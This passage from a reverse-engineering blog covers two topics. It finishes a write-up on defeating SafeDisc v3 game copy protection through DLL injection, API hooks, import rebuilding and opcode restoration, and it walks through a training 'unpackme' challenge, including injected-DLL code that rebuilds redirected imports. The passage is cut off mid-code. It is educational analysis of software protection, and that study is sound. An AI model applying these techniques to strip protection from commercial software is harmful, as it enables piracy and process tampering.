to CREATE_SUSPENDED and inject a second dll in it.</li> <li>A second hook from the first dll will be setup on GetVersionExA to gain execution just after the jump to Real OEP.</li> <li>Once GetVersionExA is called, we scan txt section and look for 0xCC and for each one it create a thread at the address of the nanomites.</li> <li>The second dll will patch the branch condition for WriteProcessMemory the emulated opcode and hook SetThreadContext for terminating the thread in question and not continue his execution.</li> </ul> <p>Need a diagram ?</p> <p><center><img src="/public/safedisc_v3/schem.png" /></center><br/></p> <p>I encountered a little problem during those operation, if we create a thread at an addr containing 0xCC followed by nop operation (0x90), Safedisc debugger crashes or emulates shit...<br/> Visual Studio uses 0xCC, 0x90 and 0x00 opcode for padding, don't ask me why they don't just use only 0x00, I don't know.<br/> Just so you know, if you don't provide the full path of these dll while you are injecting it, the first dll must be placed in the folder of the game process, and the second one in %temp% path, because debugger process is extracted and executed here.<br/></p> <p>You can find the branch instruction inside ~def394.tmp (SecServ.dll) at addr 0x6678F562 :</p> <pre><code><span style="color:black">.txt5:6678F562 </span><span style="color:navy">cmp ax, </span><span style="color:green">1 </span><span style="color:black">.txt5:6678F566 </span><span style="color:navy">jnz </span><span style="color:#550000">not_write_process_memory </span></code></pre> <h3>Result</h3> <p>Just some debug information :</p> <pre><code>--- Process id : 894 EventCode : 1 Exception Code : 80000003 Exception Addr : 40170F --- [+] GetThreadContext(0xB8, 0x635080); return_addr = 66733C55 lpContext-&gt;EIP = 7C91120F [+] WriteProcessMemory(0x5C, 0x40170F, 0x61F58C, 0x2, 0x61F0F0); return_addr = 6672BA45 85 C0 [+] SetThreadContext(0xB8, 0x635080); return_addr = 66733C23 lpContext-&gt;EIP = 40170F --- </code></pre> <p>As you can see at address 0x40170F, an event occured 0x1 -&gt; EXCEPTION_DEBUG_EVENT and his code 0x80000003 (EXCEPTION_BREAKPOINT), so the debugger process replaces the 0xCC 0xCC by 0x85 0xC0 -&gt; &quot;test eax, eax&quot;, and try to SetThreadContext but we hooked it to terminate the thread.<br/></p> <p><center><img src="/public/safedisc_v3/nanomites_finish.png" /></center><br/></p> <h2>Restoring Imports</h2> <p>Like the previous version import points to some virtual address where the code calls routine to find the correct import.<br/> By using algo against itself we can resolve all correct address of imports.<br/> Inside txt section we can find different type of call to imports :</p> <ul> <li>call dword ptr[virtual_addr]</li> <li>jmp dword ptr[virtual_addr]</li> <li>jmp section Stxt774</li> </ul> <p>The idea is simple, scan .txt section look for call dword ptr or jmp dword ptr or jmp section Stxt774, hook the function that resolve the api and get the result and save into into a linked list.<br/> This function in question is in ~df394b.tmp :</p> <pre><code><span style="color:black">.txt:6678D644 </span><span style="color:navy">call </span>resolve_api <span style="color:black">.txt:6678D649 </span><span style="color:navy">pop ecx </span><span style="color:black">.txt:6678D64A </span><span style="color:navy">pop ecx </span></code></pre> <p>Just replace the pop ecx, by &quot;add esp, X; ret&quot; and get the result into register eax.<br/></p> <p><center><img src="/public/safedisc_v3/original_import.png" /></center><br/></p> <p><center><img src="/public/safedisc_v3/against_itself.png" /></center><br/></p> <p>BUT ! Sometimes by calling the same virtual_addr but from other location it don't resolve the same API address.<br/></p> <pre><code>API (0x7E3AC17E) has rdata.0x53327C (txt.0x51A656) rdata.0x53327C (txt.0x454509) rdata.0x53327C (txt.0x454149) rdata.0x533260 (txt.0x453773) rdata.0x53327C (txt.0x4535BD) API (0x7E39869D) has rdata.0x53329C (txt.0x51A686) rdata.0x53329C (txt.0x50B64E) rdata.0x53329C (txt.0x50B1E4) rdata.0x53327C (txt.0x4FDC5E) rdata.0x53329C (txt.0x4FD7CA) rdata.0x533284 (txt.0x4FD718) </code></pre> <p>As you can see the address in rdata 0x53327C, can resolve different API when it is called from different locations (txt address).<br/> To fix it, it's very simple we reorder the linked list according to the api address, and choose one rdata for each call, and we will change value of the call or jmp dword ptr at txt address for each entry of an api.<br/></p> <h3>After reorder</h3> <p>Output after reordering :</p> <pre><code>API (0x7E3AC17E) has rdata.0x53327C (txt.0x51A656) rdata.0x53327C (txt.0x454509) rdata.0x53327C (txt.0x454149) rdata.0x53327C (txt.0x453773) rdata.0x53327C (txt.0x4535BD) API (0x7E39869D) has rdata.0x53329C (txt.0x51A686) rdata.0x53329C (txt.0x50B64E) rdata.0x53329C (txt.0x50B1E4) rdata.0x53327C (txt.0x4FDC5E) rdata.0x53329C (txt.0x4FD7CA) rdata.0x533284 (txt.0x4FD718) </code></pre> <p>We can now write back into rdata addr the real adress of the api and fix the call or jmp at adress in txt section, to point to the good rdata address.<br/> Now you can look with ImportRec and see that all imports are restored correctly :)<br/><br/></p> <p>To fix jmp section Stxt774, we just have to replace the jmp by a call dword ptr[rdata], but wait jmp stxt774 is 5 bytes and we need 6 bytes to change it to call dword ptr, don't worry, after resolving the api and ret to it, the api will return at jmp stxt774 + 6, so there is enough place.<br/></p> <p><center><img src="/public/safedisc_v3/imports_finish.png" /></center><br/></p> <p>And Import Reconstructor is happy (Invalid imports 0) :</p> <p><center><img src="/public/safedisc_v3/importrec.png" /></center><br/></p> <h2>Emulated opcodes</h2> <p>After fixing Nanomites and restoring imports, I encounter a last problem.<br/></p> <pre><code><span style="color:black">.text:00404909 </span><span style="color:navy">push ecx </span><span style="color:black">.text:0040490A </span><span style="color:navy">push eax </span><span style="color:black">.text:0040490B </span><span style="color:navy">call sub_4013F3 </span><span style="color:black">.text:0040490B </span><span style="background:blue"><span style="color:navy">sub_404909 endp</span></span><span style="background:blue"> <span style="color:navy">; sp-analysis failed</span></span> <span style="color:black">.text:0040490B </span></code></pre> <pre><code><span style="color:black">.text:004013F3 </span><span style="color:navy">mov eax, </span><span style="color:green">1E1Bh </span><span style="color:black">.text:004013F8 </span><span style="color:navy">pop ecx </span><span style="color:black">.text:004013F9 </span><span style="color:navy">lea eax, [eax+ecx] </span><span style="color:black">.text:004013FC </span><span style="color:navy">mov eax, [eax] </span><span style="color:black">.text:004013FE </span><span style="color:navy">jmp eax </span></code></pre> <p>This code will just compute an address in txt section, get the value pointed by this address and jump to it. The jump destination is an address from ~df394b.tmp.<br/></p> <p><center><img src="/public/safedisc_v3/stolen.png" /></center><br/></p> <p>The goal of sub 0x6673E090 is simply to check from where it has been called, lookup in a table of emulated opcodes and restore it.<br/> Here only one emulation is performed then it will write original opcode back.<br/> Like for restoring imports, we find each reference to the sub 0x00404909, setup an hook at the end of the sub 0x6673E09, call each reference, and emulated opcodes will be restored automatically :)</p> <p><center><img src="/public/safedisc_v3/stolen_finish.png" /></center><br/></p> <h2>Conclusion</h2> <p>Safedisc v3 is really not difficult, you can find the source of all my codes at the end of this post.<br/> I will go back to school project, hopefully graduating this year :)</p> <h2>Sources</h2> <h3>Injector</h3> <ul> <li><a href="/public/safedisc_v3/inject.asm.html">inject.asm</a></li> </ul> <h3>First dll</h3> <ul> <li><a href="/public/safedisc_v3/linklist.h.html">linklist.h</a></li> <li><a href="/public/safedisc_v3/linklist.cpp.html">linklist.cpp</a></li> <li><a href="/public/safedisc_v3/inject_safe.cpp.html">main.cpp</a></li> </ul> <h3>Second dll</h3> <ul> <li><a href="/public/safedisc_v3/inject_dbg_safe.cpp.html">main.cpp</a></li> </ul> http://blog.w4kfu.compost/Unpackme_I_am_Famous 2012-09-20T22:32:43Z 2012-09-20T22:32:43Z Binary Auditing Training Package unpackme_03 w4kfu <h2>Introduction</h2> <p>Today, I was bored so I decided to have fun with <a href="http://www.binary-auditing.com/">http://www.binary-auditing.com/</a>.<br/> And I found a very fun challenge inside unpacking exercices :</p> <p><center><img src="/public/unpackme_03.png" alt="unpackme_03" /></center></p> <h2>Unpackme</h2> <p>Packer starts here :<br/></p> <pre><code><span style="color:black">seg009:00411800 </span>start proc near <span style="color:black">seg009:00411800 </span><span style="color:navy">call $+</span><span style="color:green">5 </span><span style="color:black">seg009:00411805 </span><span style="color:navy">xor ebp, ebp </span><span style="color:black">seg009:00411807 </span><span style="color:navy">pop ebp </span><span style="color:black">seg009:00411808 </span><span style="color:navy">sub ebp, offset word_401A1E </span><span style="color:black">seg009:0041180E </span><span style="color:navy">xor ebx, ebx </span><span style="color:black">seg009:00411810 </span><span style="color:navy">lea eax, byte_401A4D[ebp] </span><span style="color:black">seg009:00411816 seg009:00411816 </span><span style="color:navy">loc_411816: </span><span style="color:green">; CODE XREF: start+1Fj </span><span style="color:black">seg009:00411816 </span><span style="color:navy">inc bl </span><span style="color:black">seg009:00411818 </span><span style="color:navy">mov cl, [eax] </span><span style="color:black">seg009:0041181A </span><span style="color:navy">xor cl, bl </span><span style="color:black">seg009:0041181C </span><span style="color:navy">cmp cl, </span><span style="color:green">55h </span><span style="color:black">seg009:0041181F </span><span style="color:navy">jnz short loc_411816 </span><span style="color:black">seg009:00411821 </span><span style="color:navy">mov ecx, </span><span style="color:green">55Ah </span><span style="color:black">seg009:00411826 </span><span style="color:navy">lea esi, byte_401A4D[ebp] </span><span style="color:black">seg009:0041182C </span><span style="color:navy">mov edi, esi </span><span style="color:black">seg009:0041182E seg009:0041182E </span><span style="color:navy">loc_41182E: </span><span style="color:green">; CODE XREF: start+32j </span><span style="color:black">seg009:0041182E </span><span style="color:navy">lodsb </span><span style="color:black">seg009:0041182F </span><span style="color:navy">xor al, bl </span><span style="color:black">seg009:00411831 </span><span style="color:navy">stosb </span><span style="color:black">seg009:00411832 </span><span style="color:navy">loop loc_41182E </span></code></pre> <p>The first loop is for computing key for XOR operation. ebx will be equal to 0x77.<br/> The second loop will decrypt first stage of the packer with the key stored into ebx.<br/> Next the packer will resolve base address of kernel32.dll by getting the current structured exception handling (SEH) frame into fs:[0] and get an address inside kernel32 after the seh handler, and back from this address into memory for finding 'PE' and 'MZ' signature.<br/><br/></p> <p><center><img src="/public/unpackme_seh.png" /></center><br/></p> <p>At this point it will have the base address of kernel32.dll<br/> Then it will parse PE header of this dll, get export function name table and search for <a href="http://msdn.microsoft.com/en-us/library/windows/desktop/aa366574(v=vs.85).aspx">GlobalAlloc()</a>.<br/> It will Alloc some space, and copy different portion of code into it. We will return to the analysis of this code later (some stuff are here for api resolution during main execution).<br/> For not loosing time by analysing all the copy of portion of code, we will setup memory breakpoint on acces on code section and run our debugger.<br/><br/></p> <p><center><img src="/public/unpackme_break.png" /></center><br/></p> <p>We land here :</p> <pre><code>00157BFC AD LODS DWORD PTR DS:[ESI] 00157BFD 35 DEC0ADDE XOR EAX,DEADC0DE 00157C02 AB STOS DWORD PTR ES:[EDI] 00157C03 ^ E2 F7 LOOPD SHORT 00157BFC 00157C05 C3 RET</code></pre> <p>At this point ecx equal to 0x1E00, and raw size of code section equal to 0x7800, so it's actually deciphering all code section with 0xDEADCODE as XOR key.<br/> Disable the memory breakpoint on access, and go to ret, then do the operation again (setup memory breakpoint acces), and we land here : <br/></p> <pre><code>00157BEB 8DBD BF6F4000 LEA EDI,DWORD PTR SS:[EBP+406FBF] 00157BF1 8B85 A71F4000 MOV EAX,DWORD PTR SS:[EBP+401FA7] 00157BF7 8B0F MOV ECX,DWORD PTR DS:[EDI] 00157BF9 81C1 00004000 ADD ECX,400000 ; ASCII "MZP" 00157BFF C601 E8 MOV BYTE PTR DS:[ECX],0E8 00157C02 83C1 05 ADD ECX,5 00157C05 50 PUSH EAX 00157C06 2BC1 SUB EAX,ECX 00157C08 8941 FC MOV DWORD PTR DS:[ECX-4],EAX 00157C0B 58 POP EAX 00157C0C 81C7 88000000 ADD EDI,88 00157C12 837F 04 00 CMP DWORD PTR DS:[EDI+4],0 00157C16 ^ 75 DF JNZ SHORT 00157BF7 00157C18 C3 RET</code></pre> <p>Do you recognize this operation ?<br/> Opcode 0xE8, add 5 ?, it is making a call.<br/> The destination of the call (eax) go to the first virtual part I talked, we will call this &quot;api address solving&quot;.<br/> The packer is making call redirection for each API.<br/> The next memory breakpoint on access will land us here :</p> <pre><code>004085D4 E8 9706D5FF CALL 00158C70</code></pre> <p>A call crafted juste before, let's follow it.<br/></p> <pre><code>00158C70 9C PUSHFD 00158C71 60 PUSHAD 00158C72 E8 00000000 CALL 00158C77 00158C77 5D POP EBP 00158C78 81ED 1C1C4000 SUB EBP,401C1C 00158C7E 8BBD B01C4000 MOV EDI,DWORD PTR SS:[EBP+401CB0] 00158C84 8B7424 24 MOV ESI,DWORD PTR SS:[ESP+24] 00158C88 83EE 05 SUB ESI,5 00158C8B 81EE 00004000 SUB ESI,400000 ; ASCII "MZP" 00158C91 81EF 88000000 SUB EDI,88 00158C97 81C7 88000000 ADD EDI,88 00158C9D 3B37 CMP ESI,DWORD PTR DS:[EDI] 00158C9F ^ 75 F6 JNZ SHORT 00158C97 00158CA1 68 2680ACC8 PUSH C8AC8026 00158CA6 FFB5 B41C4000 PUSH DWORD PTR SS:[EBP+401CB4] 00158CAC E8 A4000000 CALL 00158D55 00158CB1 8D4F 48 LEA ECX,DWORD PTR DS:[EDI+48] 00158CB4 8BD1 MOV EDX,ECX 00158CB6 E8 3B000000 CALL 00158CF6 00158CBB 51 PUSH ECX 00158CBC FFD0 CALL EAX 00158CBE 93 XCHG EAX,EBX 00158CBF 68 EEEAC01F PUSH 1FC0EAEE 00158CC4 FFB5 B41C4000 PUSH DWORD PTR SS:[EBP+401CB4] 00158CCA E8 86000000 CALL 00158D55 00158CCF 8D4F 08 LEA ECX,DWORD PTR DS:[EDI+8] 00158CD2 E8 1F000000 CALL 00158CF6 00158CD7 51 PUSH ECX 00158CD8 53 PUSH EBX 00158CD9 FFD0 CALL EAX 00158CDB 8D4F 08 LEA ECX,DWORD PTR DS:[EDI+8] 00158CDE E8 13000000 CALL 00158CF6 00158CE3 8D4F 48 LEA ECX,DWORD PTR DS:[EDI+48] 00158CE6 E8 0B000000 CALL 00158CF6 00158CEB 894424 1C MOV DWORD PTR SS:[ESP+1C],EAX 00158CEF 61 POPAD 00158CF0 9D POPFD 00158CF1 83C4 04 ADD ESP,4 00158CF4 FFE0 JMP EAX</code></pre> <ul> <li>At 0x00158C84, it will get from where the call occured.</li> <li>It will substract 5 and ImageBase to it.</li> <li>And look into the same table (for making call) if the offset is known.</li> <li>Once he found this offset into its table, it will resolve Address of LoadLibrary (0xC8AC8026 rol 7).</li> <li>Before calling 0x00158CF6, it will set into edx an address at offset 0x48 of the index into the table.</li> <li>0x0x00158CF6 is just here for not (~) operation on each byte until it get a null byte.</li> <li>And then LoadLibrary with the string deciphered by not operation.</li> <li>0x00158CCA it will call back again 0x00158D55 but with hash 1FC0EAEE for resolving address of "GetProcAddress".</li> <li>0x00158CCF, decipher some stuff starting at offset 0x8.</li> <li>And finally GetProcAddress of it.</li> <li>All the string will be cypher again juste after as you can see.</li> </ul> <p>Maybe with a schem it will be more clear, example of a typical call to an api :<br/></p> <p><center><img src="/public/unpackme_redirect.png" /></center><br/></p> <p>So if you follow me, here is the structur for each api :</p> <pre><code>struct api { DWORD offset; /* +0x00 */ DWORD unknow; /* +0x04 */ char api_name[0x40]; /* +0x08 */ char dll_name[0x40]; /* +0x48 */ };</code></pre> <p>Here is one exemple :</p> <p><center><img src="/public/unpackme_tableapi.png" /></center><br/></p> <p>Writing test program :</p> <pre><code>> cat test.c int main(void) { char api_name[] = "\xB8\x9A\x8B\xB2\x90\x9B\x8A\x939A\xB7\x9E\x91\x9B\x93\x9A\xBE\xFF\xFF"; char dll_name[] = "\xB4\xBA\xAD\xB1\xBA\xB3\xCC\xCD\xD1\xBB\xB3\xB3\xFF\xFF"; int i; for (i = 0; i < strlen(api_name); i++) api_name[i] = ~api_name[i]; for (i = 0; i < strlen(api_name); i++) dll_name[i] = ~dll_name[i]; printf("%s\n", api_name); printf("%s\n", dll_name); } > ./test GetModueHandleA KERNEL32.DLL </code></pre> <p>This entry in the table was for solving call to GetModuleHandleA() from kernel32.dll<br/> So for dumping our program, we will have to reconstruct all those redirections, we will write a dll and inject it into the process.<br/> What the injected code will do ? <ul> <li> Search call addr into code section, where the content of addr equal to a call to virtual memory (GlobalAlloc()) &quot;api address solving&quot;. <li> <li> Hook the jmp eax, for gaining control, we will replace it by a jmp ebx.</li> <li> Store result (api address) into idata section. </li> <li> Replace each call virtual memory by jmp dword ptr[idata_section].</li> </ul></p> <p><center><img src="/public/unpackme_fix.png" /></center><br/></p> <p>But have we got enough for replacing call <virtual_mem> by jmp dword ptr [idata_section], the answer is yes !, the packer have replace them and left 1 byte between each call.<br/><br/></p> <p><center><img src="/public/unpackme_space.png" /></center><br/></p> <p>Opcode for jmp dword ptr [0x42424242] = FF 25 42 42 42 42, size : 6, we got enought place.<br/></p> <p>Code for the dll :</p> <pre><tt><b><font color="#000080">#include</font></b> <font color="#FF0000">&lt;stdio.h&gt;</font> <b><font color="#000080">#include</font></b> <font color="#FF0000">&lt;Windows.h&gt;</font> <b><font color="#000080">#define</font></b> LDE_X86 <font color="#993399">0</font> <b><font color="#000080">#ifdef</font></b> __cplusplus <b><font color="#0000FF">extern</font></b> <font color="#FF0000">"C"</font> <b><font color="#000080">#endif</font></b> <font color="#009900">int</font> <b><font color="#0000FF">__stdcall</font></b> <b><font color="#000000">LDE</font></b><font color="#990000">(</font><font color="#009900">void</font><font color="#990000">*</font> address <font color="#990000">,</font> <font color="#008080">DWORD</font> type<font color="#990000">);</font> <font color="#009900">void</font> <b><font color="#000000">fix_call</font></b><font color="#990000">(</font><font color="#009900">void</font><font color="#990000">)</font> <font color="#FF0000">{</font> <font color="#008080">IMAGE_DOS_HEADER</font> <font color="#990000">*</font>idh <font color="#990000">=</font> NULL<font color="#990000">;</font> <font color="#008080">IMAGE_NT_HEADERS</font> <font color="#990000">*</font>inh <font color="#990000">=</font> NULL<font color="#990000">;</font> <font color="#008080">IMAGE_SECTION_HEADER</font> <font color="#990000">*</font>ish <font color="#990000">=</font> NULL<font color="#990000">;</font> <font color="#008080">IMAGE_SECTION_HEADER</font> <font color="#990000">*</font>ish_import <font color="#990000">=</font> NULL<font color="#990000">;</font> <font color="#008080">DWORD</font> imagebase<font color="#990000">;</font> <font color="#008080">DWORD</font> imageend<font color="#990000">;</font> <font color="#008080">FILE</font> <font color="#990000">*</font>fp <font color="#990000">=</font> NULL<font color="#990000">;</font> <font color="#008080">DWORD</font> i<font color="#990000">;</font> <font color="#008080">BYTE</font> <font color="#990000">*</font>ptr<font color="#990000">;</font> <font color="#009900">int</font> val<font color="#990000">;</font> <font color="#008080">DWORD</font> addr_call<font color="#990000">;</font> <font color="#008080">DWORD</font> nb_api <font color="#990000">=</font> <font color="#993399">0</font><font color="#990000">;</font> fp <font color="#990000">=</font> <b><font color="#000000">fopen</font></b><font color="#990000">(</font><font color="#FF0000">"debug_msg.txt"</font><font color="#990000">,</font> <font color="#FF0000">"w"</font><font color="#990000">);</font> <b><font color="#0000FF">if</font></b> <font color="#990000">(!</font>fp<font color="#990000">)</font> <b><font color="#000000">MessageBoxA</font></b><font color="#990000">(</font>NULL<font color="#990000">,</font> <font color="#FF0000">"fopen failed :("</font><font color="#990000">,</font> <font color="#FF0000">"failed"</font><font color="#990000">,</font> <font color="#993399">0</font><font color="#990000">);</font> imagebase <font color="#990000">=</font> <font color="#990000">(</font>DWORD<font color="#990000">)</font><b><font color="#000000">GetModuleHandle</font></b><font color="#990000">(</font>NULL<font color="#990000">);</font> idh <font color="#990000">=</font> <font color="#990000">(</font>IMAGE_DOS_HEADER <font color="#990000">*)</font>imagebase<font color="#990000">;</font> inh <font color="#990000">=</font> <font color="#990000">(</font>IMAGE_NT_HEADERS <font color="#990000">*)((</font>BYTE<font color="#990000">*)</font>imagebase <font color="#990000">+</font> idh<font color="#990000">-&gt;</font>e_lfanew<font color="#990000">);</font> ish <font color="#990000">=</font> <font color="#990000">(</font>IMAGE_SECTION_HEADER<font color="#990000">*)((</font>BYTE<font color="#990000">*)</font>inh <font color="#990000">+</font> <b><font color="#0000FF">sizeof</font></b> <font color="#990000">(</font>IMAGE_NT_HEADERS<font color="#990000">));</font> imageend <font color="#990000">=</font> imagebase <font color="#990000">+</font> inh<font color="#990000">-&gt;</font>OptionalHeader<font color="#990000">.</font>SizeOfImage<font color="#990000">;</font> <b><font color="#000000">fprintf</font></b><font color="#990000">(</font>fp<font color="#990000">,</font> <font color="#FF0000">"Image Base : %08X</font><font color="#CC33CC">\n</font><font color="#FF0000">Image End : %08X</font><font color="#CC33CC">\n</font><font color="#FF0000">"</font><font color="#990000">,</font> imagebase<font color="#990000">,</font> imageend<font color="#990000">);</font> ish <font color="#990000">=</font> <font color="#990000">(</font>IMAGE_SECTION_HEADER<font color="#990000">*)((</font>BYTE<font color="#990000">*)</font>inh <font color="#990000">+</font> <b><font color="#0000FF">sizeof</font></b> <font color="#990000">(</font>IMAGE_NT_HEADERS<font color="#990000">));</font> ish_import <font color="#990000">=</font> <font color="#990000">(</font>IMAGE_SECTION_HEADER<font color="#990000">*)((</font>BYTE<font color="#990000">*)</font>inh <font color="#990000">+</font> <b><font color="#0000FF">sizeof</font></b><font color="#990000">(</font>IMAGE_NT_HEADERS<font color="#990000">)</font> <font color="#990000">+</font> <b><font color="#0000FF">sizeof</font></b><font color="#990000">(</font>IMAGE_SECTION_HEADER<font color="#990000">)</font> <font color="#990000">*</font> <font color="#993399">4</font><font color="#990000">);</font> <b><font color="#000000">fprintf</font></b><font color="#990000">(</font>fp<font color="#990000">,</font> <font color="#FF0000">"Ish Import : %08X</font><font color="#CC33CC">\n</font><font color="#FF0000">"</font><font color="#990000">,</font> imagebase <font color="#990000">+</font> ish_import<font color="#990000">-&gt;</font>VirtualAddress<font color="#990000">);</font> <b><font color="#0000FF">for</font></b> <font color="#990000">(</font>i <font color="#990000">=</font> <font color="#993399">0</font><font color="#990000">;</font> i <font color="#990000">&lt;</font> ish<font color="#990000">-&gt;</font>Misc<font color="#990000">.</font>VirtualSize<font color="#990000">;</font> i<font color="#990000">++)</font> <font color="#FF0000">{</font> ptr <font color="#990000">=</font> <font color="#990000">(</font>BYTE<font color="#990000">*)(</font>imagebase <font color="#990000">+</font> ish<font color="#990000">-&gt;</font>VirtualAddress <font color="#990000">+</font> i<font color="#990000">);</font> <i><font color="#9A1900">/* Look for a call */</font></i> <b><font color="#0000FF">if</font></b> <font color="#990000">(*(</font>ptr<font color="#990000">)</font> <font color="#990000">==</font> <font color="#993399">0xE8</font><font color="#990000">)</font> <font color="#FF0000">{</font> val <font color="#990000">=</font> <font color="#990000">*(</font>ptr <font color="#990000">+</font> <font color="#993399">4</font><font color="#990000">)</font> <font color="#990000">&lt;&lt;</font> <font color="#993399">0x18</font> <font color="#990000">|</font> <font color="#990000">*(</font>ptr <font color="#990000">+</font> <font color="#993399">3</font><font color="#990000">)</font> <font color="#990000">&lt;&lt;</font> <font color="#993399">0x10</font> <font color="#990000">|</font> <font color="#990000">*(</font>ptr <font color="#990000">+</font> <font color="#993399">2</font><font color="#990000">)</font> <font color="#990000">&lt;&lt;</font> <font color="#993399">0x8</font> <font color="#990000">|</font> <font color="#990000">*(</font>ptr <font color="#990000">+</font> <font color="#993399">1</font><font color="#990000">);</font> val <font color="#990000">+=</font> imagebase <font color="#990000">+</font> ish<font color="#990000">-&gt;</font>VirtualAddress <font color="#990000">+</font> i <font color="#990000">+</font> <font color="#993399">5</font><font color="#990000">;</font> <i><font color="#9A1900">/* Is destination inside code section ? */</font></i> <b><font color="#0000FF">if</font></b> <font color="#990000">(</font>val <font color="#990000">&gt;</font> imagebase <font color="#990000">+</font> ish<font color="#990000">-&gt;</font>VirtualAddress <font color="#990000">&amp;&amp;</font> val <font color="#990000">&lt;</font> imagebase <font color="#990000">+</font> ish<font color="#990000">-&gt;</font>VirtualAddress <font color="#990000">+</font> ish<font color="#990000">-&gt;</font>Misc<font color="#990000">.</font>VirtualSize<font color="#990000">)</font> <font color="#FF0000">{</font> ptr <font color="#990000">=</font> <font color="#990000">(</font>BYTE<font color="#990000">*)</font>val<font color="#990000">;</font> addr_call <font color="#990000">=</font> val<font color="#990000">;</font> <i><font color="#9A1900">/* Look for a call */</font></i> <b><font color="#0000FF">if</font></b> <font color="#990000">(*(</font>ptr<font color="#990000">)</font> <font color="#990000">==</font> <font color="#993399">0xE8</font><font color="#990000">)</font> <font color="#FF0000">{</font> val <font color="#990000">=</font> <font color="#990000">*(</font>ptr <font color="#990000">+</font> <font color="#993399">4</font><font color="#990000">)</font> <font color="#990000">&lt;&lt;</font> <font color="#993399">0x18</font> <font color="#990000">|</font> <font color="#990000">*(</font>ptr <font color="#990000">+</font> <font color="#993399">3</font><font color="#990000">)</font> <font color="#990000">&lt;&lt;</font> <font color="#993399">0x10</font> <font color="#990000">|</font> <font color="#990000">*(</font>ptr <font color="#990000">+</font> <font color="#993399">2</font><font color="#990000">)</font> <font color="#990000">&lt;&lt;</font> <font color="#993399">0x8</font> <font color="#990000">|</font> <font color="#990000">*(</font>ptr <font color="#990000">+</font> <font color="#993399">1</font><font color="#990000">);</font> val <font color="#990000">+=</font> <font color="#990000">(</font><font color="#009900">int</font><font color="#990000">)</font>ptr <font color="#990000">+</font> <font color="#993399">5</font><font color="#990000">;</font> <i><font color="#9A1900">/* Is destination is not into code section ? */</font></i> <b><font color="#0000FF">if</font></b> <font color="#990000">(</font>val <font color="#990000">&lt;</font> imagebase <font color="#990000">+</font> ish<font color="#990000">-&gt;</font>VirtualAddress <font color="#990000">||</font> val <font color="#990000">&gt;</font> imagebase <font color="#990000">+</font> ish<font color="#990000">-&gt;</font>VirtualAddress <font color="#990000">+</font> ish<font color="#990000">-&gt;</font>Misc<font color="#990000">.</font>VirtualSize<font color="#990000">)</font> <font color="#FF0000">{</font> <b><font color="#000000">fprintf</font></b><font color="#990000">(</font>fp<font color="#990000">,</font> <font color="#FF0000">"Call Redirect found at %08X to %08X, "</font><font color="#990000">,</font> imagebase <font color="#990000">+</font> ish<font color="#990000">-&gt;</font>VirtualAddress <font color="#990000">+</font> i<font color="#990000">,</font> val<font color="#990000">);</font> ptr <font color="#990000">=</font> <font color="#990000">(</font>BYTE<font color="#990000">*)</font>val<font color="#990000">;</font> <i><font color="#9A1900">/* Change JMP EAX to JMP EBX */</font></i> val <font color="#990000">=</font> imagebase <font color="#990000">+</font> ish<font color="#990000">-&gt;</font>VirtualAddress <font color="#990000">+</font> i<font color="#990000">;</font> <font color="#990000">*(</font>ptr <font color="#990000">+</font> <font color="#993399">0x85</font><font color="#990000">)</font> <font color="#990000">=</font> <font color="#993399">0xE3</font><font color="#990000">;</font> <b><font color="#0000FF">__asm</font></b> <font color="#FF0000">{</font> pushad <font color="#008080">mov</font> ebx<font color="#990000">,</font> end_api <font color="#008080">mov</font> eax<font color="#990000">,</font> val call eax end_api<font color="#990000">:</font> <font color="#008080">add</font> esp<font color="#990000">,</font> <font color="#993399">8</font> <font color="#008080">mov</font> val<font color="#990000">,</font> eax popad <font color="#FF0000">}</font> <b><font color="#000000">fprintf</font></b><font color="#990000">(</font>fp<font color="#990000">,</font> <font color="#FF0000">"Addr Api : %08X</font><font color="#CC33CC">\n</font><font color="#FF0000">"</font><font color="#990000">,</font> val<font color="#990000">);</font> <i><font color="#9A1900">/* Put Api Addr into idata section */</font></i> ptr <font color="#990000">=</font> <font color="#990000">(</font>BYTE<font color="#990000">*)(</font>imagebase <font color="#990000">+</font> ish_import<font color="#990000">-&gt;</font>VirtualAddress <font color="#990000">+</font> <font color="#993399">0x58</font> <font color="#990000">+</font> nb_api <font color="#990000">*</font> <font color="#993399">8</font><font color="#990000">);</font> <b><font color="#000000">memcpy</font></b><font color="#990000">(</font>ptr<font color="#990000">,</font> <font color="#990000">&amp;</font>val<font color="#990000">,</font> <font color="#993399">4</font><font color="#990000">);</font> val <font color="#990000">=</font> <font color="#990000">(</font>imagebase <font color="#990000">+</font> ish_import<font color="#990000">-&gt;</font>VirtualAddress <font color="#990000">+</font> <font color="#993399">0x58</font> <font color="#990000">+</font> nb_api <font color="#990000">*</font> <font color="#993399">8</font><font color="#990000">);</font> <i><font color="#9A1900">/* Replace call by jmp dword ptr [idata_section] */</font></i> ptr <font color="#990000">=</font> <font color="#990000">(</font>BYTE<font color="#990000">*)</font>addr_call<font color="#990000">;</font> <font color="#990000">*</font>ptr <font color="#990000">=</font> <font color="#993399">0xFF</font><font color="#990000">;</font> <font color="#990000">*(</font>ptr <font color="#990000">+</font> <font color="#993399">1</font><font color="#990000">)</font> <font color="#990000">=</font> <font color="#993399">0x25</font><font color="#990000">;</font> <b><font color="#000000">memcpy</font></b><font color="#990000">(</font>ptr <font color="#990000">+</font> <font color="#993399">2</font><font color="#990000">,</font> <font color="#990000">&amp;</font>val<font color="#990000">,</font> <font color="#993399">4</font><font color="#990000">);</font> nb_api<font color="#990000">++;</font> <font color="#FF0000">}</font> <font color="#FF0000">}</font> <font color="#FF0000">}</font> <font color="#FF0000">}</font> <font color="#FF0000">}</font> <b><font color="#000000">fclose</font></b><font color="#990000">(</font>fp<font color="#990000">);</font> <font color="#FF0000">}</font> <b><font color="#000000">BOOL</font></b> <font color="#990000">(</font><b><font color="#0000FF">__stdcall</font></b> <font color="#990000">*</font>Resume_GetVersionExA<font color="#990000">)(</font><font color="#008080">LPOSVERSIONINFO</font> lpVersionInfo<font color="#990000">)</font> <font color="#990000">=</font> NULL<font color="#990000">;</font> BOOL <b><font color="#0000FF">__stdcall</font></b> <b><font color="#000000">Hook_GetVersionExA</font></b><font color="#990000">(</font><font color="#008080">LPOSVERSIONINFO</font> lpVersionInfo<font color="#990000">)</font> <font color="#FF0000">{</font> <font color="#008080">DWORD</font> return_addr<font color="#990000">;</font> <b><font color="#0000FF">__asm</font></b> <font color="#FF0000">{</font> <font color="#008080">mov</font> eax<font color="#990000">,</font> <font color="#990000">[</font>ebp <font color="#990000">+</font> <font color="#993399">4</font><font color="#990000">]</font> <font color="#008080">mov</font> return_address<font color="#990000">,</font> eax <font color="#FF0000">}</font> <b><font color="#0000FF">if</font></b> <font 